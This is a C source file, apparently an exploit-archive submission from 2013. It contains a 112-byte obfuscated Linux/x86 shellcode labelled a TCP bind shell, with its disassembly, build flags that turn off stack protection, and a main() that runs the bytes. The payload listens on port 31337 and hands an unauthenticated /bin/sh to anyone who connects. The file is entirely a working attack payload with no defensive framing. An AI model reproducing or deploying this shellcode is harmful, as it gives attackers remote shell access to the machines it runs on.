/*

Title   : Obfuscated tcp bind shell (112 bytes)
Date    : 3 July 2013
Author  : Russell Willis <codinguy@gmail.com>
System  : Linux/x86 (SMP Debian 3.2.41-2 i686)

To build:
gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
    
00000000  D9EE              fldz
00000002  9BD97424F4        fstenv [esp-0xc]
00000007  5D                pop ebp
00000008  8D6D59            lea ebp,[ebp+0x59]
0000000B  31DB              xor ebx,ebx
0000000D  F7EB              imul ebx
0000000F  FEC3              inc bl
00000011  51                push ecx
00000012  6A06              push byte +0x6
00000014  6A01              push byte +0x1
00000016  6A02              push byte +0x2
00000018  FFD5              call ebp
0000001A  89C6              mov esi,eax
0000001C  FEC3              inc bl
0000001E  52                push edx
0000001F  66687A69          push word 0x697a
00000023  6653              push bx
00000025  89E1              mov ecx,esp
00000027  6A10              push byte +0x10
00000029  51                push ecx
0000002A  56                push esi
0000002B  FFD5              call ebp
0000002D  B304              mov bl,0x4
0000002F  6A01              push byte +0x1
00000031  56                push esi
00000032  FFD5              call ebp
00000034  B305              mov bl,0x5
00000036  52                push edx
00000037  52                push edx
00000038  56                push esi
00000039  FFD5              call ebp
0000003B  89C3              mov ebx,eax
0000003D  31C9              xor ecx,ecx
0000003F  B103              mov cl,0x3
00000041  FEC9              dec cl
00000043  B03F              mov al,0x3f
00000045  CD80              int 0x80
00000047  75F8              jnz 0x41
00000049  31DB              xor ebx,ebx
0000004B  F7E3              mul ebx
0000004D  51                push ecx
0000004E  EB13              jmp short 0x63
00000050  5E                pop esi
00000051  87E6              xchg esp,esi
00000053  87DC              xchg ebx,esp
00000055  B00B              mov al,0xb
00000057  CD80              int 0x80
00000059  5F                pop edi
0000005A  6A66              push byte +0x66
0000005C  58                pop eax
0000005D  89E1              mov ecx,esp
0000005F  CD80              int 0x80
00000061  57                push edi
00000062  C3                ret
00000063  E8E8FFFFFF        call dword 0x50
00000068  2F                das
00000069  62696E            bound ebp,[ecx+0x6e]
0000006C  2F                das
0000006D  2F                das
0000006E  7368              jnc 0xd8
*/

#include <stdio.h>

unsigned char code[] = \
"\xd9\xee\x9b\xd9\x74\x24\xf4\x5d\x8d\x6d\x59\x31\xdb\xf7"
"\xeb\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\xff\xd5\x89\xc6"
"\xfe\xc3\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51"
"\x56\xff\xd5\xb3\x04\x6a\x01\x56\xff\xd5\xb3\x05\x52\x52"
"\x56\xff\xd5\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd"
"\x80\x75\xf8\x31\xdb\xf7\xe3\x51\xeb\x13\x5e\x87\xe6\x87"
"\xdc\xb0\x0b\xcd\x80\x5f\x6a\x66\x58\x89\xe1\xcd\x80\x57"
"\xc3\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68";

main()
{
    printf("Shellcode Length: %d\n", sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
}